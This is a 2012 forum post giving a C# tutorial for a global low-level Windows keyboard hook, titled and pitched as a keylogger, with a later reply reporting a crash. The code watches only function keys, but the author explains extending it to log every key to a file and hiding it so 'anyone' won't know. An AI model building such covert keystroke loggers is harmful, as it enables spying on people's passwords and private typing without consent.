Author Topic: [C#] Keyboard Hook (Key Logger)  (Read 5202 times)

Offline [IAM] Error 418

  • Board Moderator
  • Forum Addict
  • *
  • Posts: 967
  • Liked: 124
  • Country: scotland
  • aeternaliter ratus, semper evolversi
    • View Profile
    • Error 418
[C#] Keyboard Hook (Key Logger)
« on: October 25, 2012, 09:39:55 PM »
Keyhooks are useful for a variety of things. I use them for binding things to keys as short cuts. They also are good for more devious deeds, such as key logging. Although I do not condone key logging, I think people would be more interested a keylogger than key bindings.

As I stated, I created this to bind operations to the keyboard. For this reason, I kept this as a seperate file in the Utilities name space, in case I wanted to include it in another project.

Code: [Select]
# region Using
using System;
using System.Collections.Generic;
using System.Text;
using System.Runtime.InteropServices;
using System.Windows;
using System.Windows.Forms;
# endregion
This region specifies all the required libraries.
Code: [Select]
# region Main App -- KEY HOOK
namespace Utilities
creates a separate name space, for the utilities.
Code: [Select]
{
    /// <summary>
    /// A class that manages a global low level keyboard hook
    /// </summary>
    class globalKeyboardHook
    {
        #region ---- Constant, Structure and Delegate Definitions ----
        /// <summary>
        /// defines the callback type for the hook
        /// </summary>
        public delegate int keyboardHookProc(int code, int wParam, ref keyboardHookStruct lParam);
        public struct keyboardHookStruct
        {
            public int vkCode;
            public int scanCode;
            public int flags;
            public int time;
            public int dwExtraInfo;
        }
        const int WH_KEYBOARD_LL = 13;
        const int WM_KEYDOWN = 0x100;
        const int WM_KEYUP = 0x101;
        const int WM_SYSKEYDOWN = 0x104;
        const int WM_SYSKEYUP = 0x105;
        #endregion
In this region, I declare variable and constants.
       
Code: [Select]
#region --- Instance Variables ---
        /// <summary>
        /// The collections of keys to watch for
        /// </summary>
        public List<Keys> HookedKeys = new List<Keys>();
This is a very important step. Sometimes you dont want to listen for all keys. This allows you to create a list of the keys you care to watch for, in the main applications name space.
       
Code: [Select]
/// <summary>
        /// Handle to the hook, need this to unhook and call the next hook
        /// </summary>
        IntPtr hhook = IntPtr.Zero;
        #endregion

       
Code: [Select]
#region ---- Events ----
        /// <summary>
        /// Occurs when one of the hooked keys is pressed
        /// </summary>
        public event KeyEventHandler KeyDown;
        /// <summary>
        /// Occurs when one of the hooked keys is released
        /// </summary>
        public event KeyEventHandler KeyUp;
        #endregion
Obviously, these are the events. You can record the key in different states. The KeyDown event records the event as soon as the key is pressed down, while the KeyUp event records the event only when you finally release the key.
       
Code: [Select]
#region --- Constructors and Destructors ---
        /// <summary>
        /// Initializes a new instance of the <see cref="globalKeyboardHook"/> class and installs the keyboard hook.
        /// </summary>
        public globalKeyboardHook()
        {
            hook();
        }
        /// <summary>
        /// Releases unmanaged resources and performs other cleanup operations before the
        /// <see cref="globalKeyboardHook"/> is reclaimed by garbage collection and uninstalls the keyboard hook.
        /// </summary>
        ~globalKeyboardHook()
        {
            unhook();
        }
        #endregion
This region is allows an application or user to turn on or off the keyboard hook. It is also used when using the hook for multiple applications.
   
Code: [Select]
    #region ---- Public Methods ----
        /// <summary>
        /// Installs the global hook
        /// </summary>     
        keyboardHookProc hookDelegate;
        public void hook()
        {
            hookDelegate = new keyboardHookProc(hookProc);
            IntPtr hInstance = LoadLibrary("User32");
            hhook = SetWindowsHookEx(WH_KEYBOARD_LL, hookDelegate, hInstance, 0);
        }
        public static IntPtr hInstance = LoadLibrary("User32");
        /// <summary>
        /// Uninstalls the global hook
        /// </summary>
        public void unhook()
        {
            UnhookWindowsHookEx(hhook);
        }
        /// <summary>
        /// The callback for the keyboard hook
        /// </summary>
        /// <param name="code">The hook code, if it isn't >= 0, the function shouldn't do anyting</param>
        /// <param name="wParam">The event type</param>
        /// <param name="lParam">The keyhook event information</param>
        /// <returns></returns>
        public int hookProc(int code, int wParam, ref keyboardHookStruct lParam)
        {
            if (code >= 0)
            {
                Keys key = (Keys)lParam.vkCode;
                if (HookedKeys.Contains(key))
                {
                    KeyEventArgs kea = new KeyEventArgs(key);
                    if ((wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) && (KeyDown != null))
                    {
                        KeyDown(this, kea);
                    }
                    else if ((wParam == WM_KEYUP || wParam == WM_SYSKEYUP) && (KeyUp != null))
                    {
                        KeyUp(this, kea);
                    }
                    if (kea.Handled)
                        return 1;
                }
            }
            return CallNextHookEx(hhook, code, wParam, ref lParam);
        }
        #endregion
The meat and potatoes.  This is what cycles through the keys and reports the key events to the main program. If kea.Handled = true, the key hook tells the operating system that the Keyboard press was processed and will prevent the key from being passed to other applications. If it is set to false, both the logger and the application will process the key press.
   
Code: [Select]
     #region ------ IMPORT DLLs ------
        # region -- USER32.DLL --
        /// <summary>
        /// Sets the windows hook, do the desired event, one of hInstance or threadId must be non-null
        /// </summary>
        /// <param name="idHook">The id of the event you want to hook</param>
        /// <param name="callback">The callback.</param>
        /// <param name="hInstance">The handle you want to attach the event to, can be null</param>
        /// <param name="threadId">The thread you want to attach the event to, can be null</param>
        /// <returns>a handle to the desired hook</returns>
        [DllImport("user32.dll")]
        static extern IntPtr SetWindowsHookEx(int idHook, keyboardHookProc callback, IntPtr hInstance, uint threadId);
        # endregion
        # region -- USER32.DLL --
        /// <summary>
        /// Unhooks the windows hook.
        /// </summary>
        /// <param name="hInstance">The hook handle that was returned from SetWindowsHookEx</param>
        /// <returns>True if successful, false otherwise</returns>
        [DllImport("user32.dll")]
        static extern bool UnhookWindowsHookEx(IntPtr hInstance);
        # endregion
        # region -- USER32.DLL --
        /// <summary>
        /// Calls the next hook.
        /// </summary>
        /// <param name="idHook">The hook id</param>
        /// <param name="nCode">The hook code</param>
        /// <param name="wParam">The wparam.</param>
        /// <param name="lParam">The lparam.</param>
        /// <returns></returns>
        [DllImport("user32.dll")]
        static extern int CallNextHookEx(IntPtr idHook, int nCode, int wParam, ref keyboardHookStruct lParam);
        # endregion
        # region -- KERNERL32.DLL --
        /// <summary>
        /// Loads the library.
        /// </summary>
        /// <param name="lpFileName">Name of the library</param>
        /// <returns>A handle to the library</returns>
        [DllImport("kernel32.dll")]
        static extern IntPtr LoadLibrary(string lpFileName);
        # endregion
Keyboard and Mouse hooks are low level hooks and are based around information passed directly from the operating system. However, this information is too low level for C# to be able to understand and process. For this reason, it is necessary to use DLLs, or Dynamic-Link Libraries, to interpret the information from the operating system, and pass it on in a usable format to the C# keylogger. I'll show you an example of what the OS messages look like later on.
   
Code: [Select]
     #endregion
    }
}
# endregion
End the code.

Now this part goes in your main application code

Code: [Select]
# region using
using System;
using System.Collections.Generic;
using System.Text;
using System.Windows;
using System.Windows.Input;
using System.Diagnostics;
using System.Threading;
using System.Windows.Threading;
using Utilities;

# endregion
Once again we are specify libraries we will need to utilize. Notice, at the bottom, the Utilities library we created.

Code: [Select]
# region Application MAIN
namespace WpfApplication1
{
    /// <summary>
    /// Interaction logic for MainWindow.xaml
    /// </summary>
    public partial class MainWindow : Window
    {
        # region --- MAIN WINDOW ---
        public MainWindow()
        {
            InitializeComponent();         
            Focusable = true;
creates a new window within the name space and allows it to be focusable.

           
Code: [Select]
# region Keys to watch for global hook
            gkh.HookedKeys.Add(System.Windows.Forms.Keys.F5);
            gkh.HookedKeys.Add(System.Windows.Forms.Keys.F6);
            gkh.HookedKeys.Add(System.Windows.Forms.Keys.F7);
            gkh.HookedKeys.Add(System.Windows.Forms.Keys.F8);
            gkh.HookedKeys.Add(System.Windows.Forms.Keys.F9);
            gkh.HookedKeys.Add(System.Windows.Forms.Keys.F10);
            gkh.HookedKeys.Add(System.Windows.Forms.Keys.F11);
            gkh.HookedKeys.Add(System.Windows.Forms.Keys.F12);
Here is where we list the keys we wish to look at for. If we want to make a full keylogger we would either list all the keys here, or programmatically creates keys here.
           
           
Code: [Select]
gkh.KeyDown += new System.Windows.Forms.KeyEventHandler(gkh_KeyDown);
            gkh.KeyUp += new System.Windows.Forms.KeyEventHandler(gkh_KeyUp);

            # endregion     
        }
        # endregion

        for every keyup or keydown event, create a new event..... blah blah blah.

       
Code: [Select]
# region ---- Global Low-Level Keyboard Hook ----

        //new instance of global key hook
        globalKeyboardHook gkh = new globalKeyboardHook();
These are the actual hooks.
     
Code: [Select]
  void gkh_KeyDown(object sender, System.Windows.Forms.KeyEventArgs e)
        {
            RoutedEventArgs f = new RoutedEventArgs();
            e.Handled = false;
            # region -- KEY CODE SWITCH --
            switch (e.KeyCode.ToString())
            {
                # region F5 - do something
                case "F5":
            {
                //do something here
                    break;
            }
                # endregion F5
                # region F6 - do something else
                case "F6":
                {
                    //do something here
                break;
                }
                # endregion F6
                # region F7 - do something else again
                case "F7":
                {
                    //do something here
                break;
                }
                # endregion F7
                # region F8 - do another something
                case "F8":
                {
                    //do something here
                break;
                }
                # endregion F8
                # region F9 - more things to do
                case "F9":
                {
                    //do something here
                break;
                }
                # endregion F9
                # region F10 - another thing can be done with this key
                case "F10":
                {
                    //do something here
                break;
                }
                # endregion F10
                # region F11 - get creative, do something new
                case "F11":
                {
                    //do something here
                break;
                }
                # endregion F11
                # region F12 - last chance to do something
                case "F12":
                {
                    //do something here
                break;
                }
                # endregion F12
            }
            # endregion
        }
In this block, you program what you want to happen when the keys trigger an event. For example, if you are trying to create the key logger you might have it write the value of the key to a *.txt file.

   
Code: [Select]
     void gkh_KeyUp(object sender, System.Windows.Forms.KeyEventArgs e)
        {
         
            e.Handled = true; //Do you want the program to receive the key event?
        }
        # endregion
             
When this is set to true, OS will not tell the original app the key was pressed, if you dont want anyone to know about the keylogger set this to false, if you want to troll someone and 'break' a few of their keys, keep this as true.


and there you have it, a simple keylogger.
If you have any tips or suggestions, leave them below.
Enjoy!
       
aeternaliter ratus, semper evolversi

“A vote is like a rifle; its usefulness depends upon the character of the user.”
"The probability of someone watching you is proportional to the stupidity of your action."

Offline excrucio

  • Forum Beginner
  • Posts: 1
  • Liked: 0
    • View Profile
Re: [C#] Keyboard Hook (Key Logger)
« Reply #1 on: May 10, 2017, 04:30:01 PM »
Hi,

I just tried it but when it's typed fast or when key is held down it chrashes. Exception is null reference one and I could not pinpoint where occurs.

Can you help?

Thanks